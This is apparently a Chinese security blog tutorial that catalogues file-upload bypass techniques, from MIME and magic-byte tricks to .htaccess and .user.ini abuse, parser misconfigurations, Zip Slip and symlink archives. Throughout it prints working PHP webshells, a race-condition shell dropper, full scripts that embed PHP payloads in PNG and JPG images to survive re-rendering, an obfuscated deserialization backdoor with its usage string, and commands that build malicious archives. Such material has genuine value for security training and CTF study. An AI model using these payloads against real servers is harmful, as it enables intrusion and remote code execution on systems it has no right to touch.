前言 部分靶场用的是国光师傅的文件上传靶场项目 + upload-lab
JavaScript绕过 F12可以很清楚的看到上传逻辑
js绕过的方法较多,抓包改后缀,禁用js或是直接修改代码
访问chrome://settings/content/javascript?search=java
MIME绕过 MIME验证是对数据包的Content-Type类型进行验证 我们只需要修改Content-Type类型即可绕过
常见的类型
text/plain(纯文本) text/html(HTML文档) text/javascript(js代码) application/xhtml+xml(XHTML文档) image/gif(GIF图像) image/jpeg(JPEG图像) image/png(PNG图像) video/mpeg(MPEG动画) application/octet-stream(二进制数据) application/pdf(PDF文档) application/(编程语言) 该种语言的代码 application/msword(Microsoft Word文件) message/rfc822(RFC 822形式) multipart/alternative(HTML邮件的HTML形式和纯文本形式,相同内容使用不同形式表示) application/x-www-form-urlencoded( POST方法提交的表单) multipart/form-data(POST提交时伴随文件上传的表单)
文件头绕过 顾名思义,就是对文件头的验证 用010 Editor等十六进制编辑器查看并修改
常见的文件头
PNG 的文件头为 89 50 4E 47 0D 0A 1A 0A
GIF(相当于文本的GIF89a): 47 49 46 38 39 61
JPG 的文件头为 FF D8 FF E0 00 10 4A 46 49 46
ZIP 的文件头为 50 4B 03 04
RAR 的文件头为 52 61 72 21
黑名单关键词替换绕过 1 2 3 $blacklist = array ("php" ,"php5" ,"php4" ,"php3" ,"phtml" ,"pht" ,"htaccess" );$name = str_ireplace ($blacklist ,"" ,$name );if (move_uploaded_file ($_FILES ['file' ]['tmp_name' ],UPLOAD_PATH.$name ))
黑名单关键词替换为空的操作是一种不安全的写法 可以使用双写来绕过 如test.phphpp
windows环境 还是上一题的代码 但是在windows环境下不区分大小写,所以就可以让 .PHp 当做 .php 来解析了,但是 Linux 下这种大小写如果的话完全没作用
黑名单缺陷 白名单是设置能通过的用户,白名单以外的用户都不能通过。 黑名单是设置不能通过的用户,黑名单以外的用户都能通过。
所以一般情况下白名单比黑名单限制的用户要更多一些 这里利用的是php的多后缀 默认情况下 Apache 把 phtml、pht、php、php3、php4、php5 解析为 PHP
.htaccess 上传一个.htaccess文件,文件内容如下
意思是这个目录下的所有以.png为后缀的文件都会被解析为php执行 然后上传一个1.png
访问上传的1.png 执行成功
或者可以组合auto_append_file来绕过一些对内容的限制
1 2 AddType application/x-httpd-php .aaa php_value auto_append_file "php://filter/convert.base64-decode/resource=1.aaa"
.htaccess 解析成图片 方法一:
1 2 #define width 1337 #define height 1337
方法二:
在.htaccess前添加x00x00x8ax39x8ax39
x00x00x8ax39x8ax39 是wbmp文件的文件头 .htaccess中以0x00开头的同样也是注释符,所以不会影响.htaccess
00截断–1 想要利用00截断需要一些条件:
php版本要小于5.3.4,5.3.4及以上已经修复该问题 magic_quotes_gpc需要为OFF状态
0x00,%00,/00之类的截断,都是一样的,只是不同表示而已
上传1.png,并构造一个new.php 即/upload/new.php%001.png,经过解析后1.png被截断
访问new.php 执行成功
00截断–2 POST型的00截断 需要手动解码一次
条件竞争 例子:先存储文件,再判断是否合法,然后又删除 首先将文件上传到服务器,然后检测文件后缀名,如果不符合条件,就删掉,典型的“引狼入室”
攻击:首先上传一个php文件 当然这个文件会被立马删掉,所以我们使用多线程并发的访问上传的文件,总会有一次在上传文件到删除文件这个时间段内访问到上传的php文件,一旦我们成功访问到了上传的文件,那么它就会向服务器写一个shell。
<?php fputs(fopen('xiao.php','w'),'<?php eval($_REQUEST[1]);?>');?>
利用burp的抓包和爆破功能即可实现条件竞争(或是利用脚本,如较为方便的python) 将上传的shell无限发送,另一边无限访问这个shell,趁上传和删除的间隙生成webshell
move_uploaded_file绕过 move_uploaded_file($temp_file, $img_path)
上述函数除了 PHP 5.3.4 以下的版本可以用 00 截断绕过,就真的没有其他缺陷了吗?
当 $img_path 可控的时候,还会忽略掉 $img_path 后面的 /.
梅子酒师傅的这篇文章 已经解释的很详细了
图片二次渲染绕过
imagecreatefrom 系列渲染图片都可能被绕过,有些特殊的图马是可以逃避过渲染的
GIF 先上传一个GIF
1.gif是上传的 2.gif是渲染后的 使用010的文件比较功能,其中灰的部分就是内容一致的部分
将php代码插入到灰色部分之中即可
上传后再导出,发现php代码并没有被渲染掉
PNG 直接使用大牛的脚本了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php $p = array (0xa3 , 0x9f , 0x67 , 0xf7 , 0x0e , 0x93 , 0x1b , 0x23 , 0xbe , 0x2c , 0x8a , 0xd0 , 0x80 , 0xf9 , 0xe1 , 0xae , 0x22 , 0xf6 , 0xd9 , 0x43 , 0x5d , 0xfb , 0xae , 0xcc , 0x5a , 0x01 , 0xdc , 0x5a , 0x01 , 0xdc , 0xa3 , 0x9f , 0x67 , 0xa5 , 0xbe , 0x5f , 0x76 , 0x74 , 0x5a , 0x4c , 0xa1 , 0x3f , 0x7a , 0xbf , 0x30 , 0x6b , 0x88 , 0x2d , 0x60 , 0x65 , 0x7d , 0x52 , 0x9d , 0xad , 0x88 , 0xa1 , 0x66 , 0x44 , 0x50 , 0x33 );$img = imagecreatetruecolor (32 , 32 );for ($y = 0 ; $y < sizeof ($p ); $y += 3 ) { $r = $p [$y ]; $g = $p [$y +1 ]; $b = $p [$y +2 ]; $color = imagecolorallocate ($img , $r , $g , $b ); imagesetpixel ($img , round ($y / 3 ), 0 , $color ); }imagepng ($img ,'1.png' ); ?>
用phpstudy等软件搭建一个本地环境运行即可 把木马和脚本放在同一目录下,访问php即可
JPG 同样直接放脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 <?php $miniPayload = "<?php system('tac f*');?>" ; if (!extension_loaded ('gd' ) || !function_exists ('imagecreatefromjpeg' )) { die ('php-gd is not installed' ); } if (!isset ($argv [1 ])) { die ('php jpg_payload.php <jpg_name.jpg>' ); } set_error_handler ("custom_error_handler" ); for ($pad = 0 ; $pad < 1024 ; $pad ++) { $nullbytePayloadSize = $pad ; $dis = new DataInputStream ($argv [1 ]); $outStream = file_get_contents ($argv [1 ]); $extraBytes = 0 ; $correctImage = TRUE ; if ($dis ->readShort () != 0xFFD8 ) { die ('Incorrect SOI marker' ); } while ((!$dis ->eof ()) && ($dis ->readByte () == 0xFF )) { $marker = $dis ->readByte (); $size = $dis ->readShort () - 2 ; $dis ->skip ($size ); if ($marker === 0xDA ) { $startPos = $dis ->seek (); $outStreamTmp = substr ($outStream , 0 , $startPos ) . $miniPayload . str_repeat ("\0" ,$nullbytePayloadSize ) . substr ($outStream , $startPos ); checkImage ('_' .$argv [1 ], $outStreamTmp , TRUE ); if ($extraBytes !== 0 ) { while ((!$dis ->eof ())) { if ($dis ->readByte () === 0xFF ) { if ($dis ->readByte !== 0x00 ) { break ; } } } $stopPos = $dis ->seek () - 2 ; $imageStreamSize = $stopPos - $startPos ; $outStream = substr ($outStream , 0 , $startPos ) . $miniPayload . substr ( str_repeat ("\0" ,$nullbytePayloadSize ). substr ($outStream , $startPos , $imageStreamSize ), 0 , $nullbytePayloadSize +$imageStreamSize -$extraBytes ) . substr ($outStream , $stopPos ); } elseif ($correctImage ) { $outStream = $outStreamTmp ; } else { break ; } if (checkImage ('payload_' .$argv [1 ], $outStream )) { die ('Success!' ); } else { break ; } } } } unlink ('payload_' .$argv [1 ]); die ('Something\'s wrong' ); function checkImage ($filename , $data , $unlink = FALSE ) { global $correctImage ; file_put_contents ($filename , $data ); $correctImage = TRUE ; imagecreatefromjpeg ($filename ); if ($unlink ) unlink ($filename ); return $correctImage ; } function custom_error_handler ($errno , $errstr , $errfile , $errline ) { global $extraBytes , $correctImage ; $correctImage = FALSE ; if (preg_match ('/(\d+) extraneous bytes before marker/' , $errstr , $m )) { if (isset ($m [1 ])) { $extraBytes = (int )$m [1 ]; } } } class DataInputStream { private $binData ; private $order ; private $size ; public function __construct ($filename , $order = false , $fromString = false ) { $this ->binData = '' ; $this ->order = $order ; if (!$fromString ) { if (!file_exists ($filename ) || !is_file ($filename )) die ('File not exists [' .$filename .']' ); $this ->binData = file_get_contents ($filename ); } else { $this ->binData = $filename ; } $this ->size = strlen ($this ->binData); } public function seek ( ) { return ($this ->size - strlen ($this ->binData)); } public function skip ($skip ) { $this ->binData = substr ($this ->binData, $skip ); } public function readByte ( ) { if ($this ->eof ()) { die ('End Of File' ); } $byte = substr ($this ->binData, 0 , 1 ); $this ->binData = substr ($this ->binData, 1 ); return ord ($byte ); } public function readShort ( ) { if (strlen ($this ->binData) < 2 ) { die ('End Of File' ); } $short = substr ($this ->binData, 0 , 2 ); $this ->binData = substr ($this ->binData, 2 ); if ($this ->order) { $short = (ord ($short [1 ]) << 8 ) + ord ($short [0 ]); } else { $short = (ord ($short [0 ]) << 8 ) + ord ($short [1 ]); } return $short ; } public function eof ( ) { return !$this ->binData||(strlen ($this ->binData) === 0 ); } }?>
用法 php exp.php 1.png 注意,要先上传渲染一次再进行脚本渲染 我在本地环境试了好多张jpg图片,包括系统截图的,qq截图,网上下载图片等等方式,都没有成功 不过国光师傅提供的这张图片倒是可以使用,不知道是啥问题
国光师傅的jpg总结
.user.ini 从.user.ini后补充一下靶场中没有提到的环境
使用条件: 对应目录下面有可执行的php文件
.user.ini.它比.htaccess用的更广,不管是nginx/apache/IIS,只要是以fastcgi运行的php都可以用这个方法。
如果采用exif_imagetype()验证文件后缀,可以尝试上传.user.ini
1 2 3 // 使用任意一条即可,这两个配置项相当于文件包含 require() auto_prepend_file = <filename> // 包含在文件头 auto_append_file = <filename> // 包含在文件尾(遇到exit 语句失效)
如果成功上传了.user.ini后直接上传图片马getshell即可
trick1:auto_append_file
也支持伪协议的使用,例如auto_append_file = php://input
trick2:可以包含nginx日志,例如auto_append_file = /var/log/nginx/access.log
,访问的时候在ua头写上一句话木马
内容检测 可以使用二分法来确定被检测的关键字
第一种情况:检测php的关键标签,比如<?php ?>
可以尝试使用其他标签,如:
1 2 3 <script language="php" > eval ($_POST [2333 ]); </script>
使用script标签对php版本有要求:php < 7
或者使用短标签
再或者可以上传.htaccess
文件来修改配置项
例如
1 2 AddType application/x-httpd-php .txt php_value auto_append_file "php://filter/convert.base64-decode/resource=1.txt"
然后上传base64编码的txt文件即可
第二种情况:检测危险函数等敏感内容 可以使用免杀马等
例如
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php if (isset ($_POST ['run' ])) { class HandShip { public $name ; public $male ; function __destruct ( ) { $allin = $this ->name; $allin ($this ->male); } }if (md5 ($_POST ['code' ])=='ce61649168c4550c2f7acab92354dc6e' ){ unserialize ($_POST ['run' ]); } }?>
使用方法run=O:8:"HandShip":2:{s:4:"name";s:6:"system";s:4:"male";s:9:"cat /home";};&code=panda
apache解析漏洞 非常简单的一个漏洞 Apache默认一个文件可以有多个以点.分割的后缀,当右边的后缀无法识别,则继续向左识别 上传shell.php.asd
asd这个后缀无法解析,服务器就会认为后缀是.php,从而绕过
该漏洞与Apache 、 php版本误关,属于用户配置不当造成的解析漏洞
配置如下
1 2 3 <FilesMatch ".+\.ph(ar|p|tml)" > SetHandler application/x-httpd-php </FilesMatch>
不在mime.types当中的都不认识
1 2 Windows:/apche/conf/mine.types Ubuntu:/etc/mime.types
iis asp目录解析漏洞 该解析漏洞形成原因是以*.asp命名的文件夹里面的文件都会被当作asp文件解析!
iis 分号漏洞 *.asp;.jpg 像这种畸形文件名在“;”后面的直接被忽略,也就是说当成 *.asp文件执行。
nginx错误配置漏洞 该漏洞与Nginx、php版本无关,属于用户配置不当造成的解析漏洞
1:由于nginx.conf
的错误配置导致nginx
把以.php
结尾的文件交给fastcgi
处理,为此可以构造upload/1.png/1.php
(1.png是上传的文件,包含一句话木马)
2:但是fastcgi
在处理1.php
文件时发现文件并不存在,这时php.ini
配置文件中cgi.fix_pathinfo=1
发挥作用,这项配置用于修复路径,如果当前路径不存在则采用上层路径。为此这里交由fastcgi
处理的文件就变成了/1.png
,最后将1.png
的内容当成php解析
超大文件名绕过 Content-Disposition: form-data; name=”file”; filename=”1.a.a.a.不要忽略我的长度.a.jsp
DATA绕过 没有对后缀名中的::$DATA
进行过滤。在php+windows的情况下:如果文件名+::$DATA
会把::$DATA
之后的数据当成文件流处理,不会检测后缀名.且保持::$DATA
之前的文件名。利用windows特性,可在后缀名中加::$DATA
绕过
常见后缀 1 (".php" , ".php5" , ".php4" , ".php3" , ".php2" , ".html" , ".htm" , ".phtml" , ".pht" , ".pHp" , ".pHp5" , ".pHp4" , ".pHp3" , ".pHp2" , ".Html" , ".Htm" , ".pHtml" , ".jsp" , ".jspa" , ".jspx" , ".jsw" , ".jsv" , ".jspf" , ".jtml" , ".jSp" , ".jSpx" , ".jSpa" , ".jSw" , ".jSv" , ".jSpf" , ".jHtml" , ".asp" , ".aspx" , ".asa" , ".asax" , ".ascx" , ".ashx" , ".asmx" , ".cer" , ".aSp" , ".aSpx" , ".aSa" , ".aSax" , ".aScx" , ".aShx" , ".aSmx" , ".cEr" , ".sWf" , ".swf" , ".htaccess" , ".ini" )
getimagesize函数绕过 当在代码中使用getimagesize
函数来检测是不是图片,而不采取其他措施的情况下,可以在文件头加上如下内容(XBM格式图片)来绕过检测
1 2 #define width 100; #define height 100;
Zip Slip 上传zip类型的文件后,应用程序自动进行解压,就有可能存在zip slip
漏洞
使用python生成或者010等工具手动编辑路径
1 2 3 4 5 6 7 import zipfile zf = zipfile.ZipFile('out.zip' , 'w' ) fname = 'sec_test.txt' zf.write(fname, '../../../../../../../../../../../../../../../../../../../../../../../../tmp/sec_test.tmp' )
unzip命令是无法实现目录穿越的,会默认跳过../
所有已发现受Zip Slip影响的项目
zip软连接 当解压操作可以覆盖上一次解压文件时触发
例如ciscn2023-unzip
1 2 3 4 5 6 7 8 9 10 <?php error_reporting (0 );highlight_file (__FILE__ );$finfo = finfo_open (FILEINFO_MIME_TYPE);if (finfo_file ($finfo , $_FILES ["file" ]["tmp_name" ]) === 'application/zip' ){ exec ('cd /tmp && unzip -o ' . $_FILES ["file" ]["tmp_name" ]); };
unzip
的-o
参数表示 不必先询问用户,unzip执行后覆盖原有的文件
构造第一个压缩包
先构造一个指向/var/www/html
的软连接
再保留软连接压缩
1 zip --symlinks test.zip poc
此时上传该test.zip
解压出里边的文件,也就是软连接到/var/www/html
构造第二个压缩包
先创建跟第一个压缩包中目录同名的目录
接着向目录中写一个shell
1 echo "<?php eval(\$_POST['a']);?>" > ./poc/shell.php
压缩这个目录
当我们上传第二个压缩包时,因为poc
目录已经软连接到/var/www/html
了,所以解压的时候会把shell.php
放在/var/www/html
tar解压目录穿越 tar命令可以在打包的时候把路径也打包进去
tar cPvf test.tar ../../../../../var/www/html/upload/payload.php
Linux下解压(使用的是GNU的tar),默认情况下,tar会自动把前面的/去掉,然后在当前目录解压 Unix则不然,会依照绝对路径解压,对路径中的其他文件不影响,对相同的文件,覆盖。如果不存在某个目录,则创建(如果有权限)。 在这里 python的解压 与Unix的解压同理,会直接在指定路径下进行解压
phar:// & zip:// http://localhost/?url=phar://uploads/63e93ffe53f03e93bb0a0249152d243874e31c9b.zip/shell
http://localhost/?url=zip:///var/www/html/upload/892e38cea0c47c744ecc60ccacc94c23.zip%23shell
利用中间件差异绕过waf 来自西湖论剑的一道题目:扭转乾坤
上传发现提示的apache
不支持Content-Type: multipart/form-data
后端为tomcat
,tomcat
对于包解析并不是严格按照RFC
中的标准,对一些异常的header
头内容也会兼容
包括但不限于,修改为Content-Type
为multipart//form-data;
|大小写兼容
|multipart
|multipart/ form-data;
判断上传漏洞类型 借用c0ny1 师傅的一个图
总结 文件上传的基本姿势应该都提及了 欢迎补充和指正!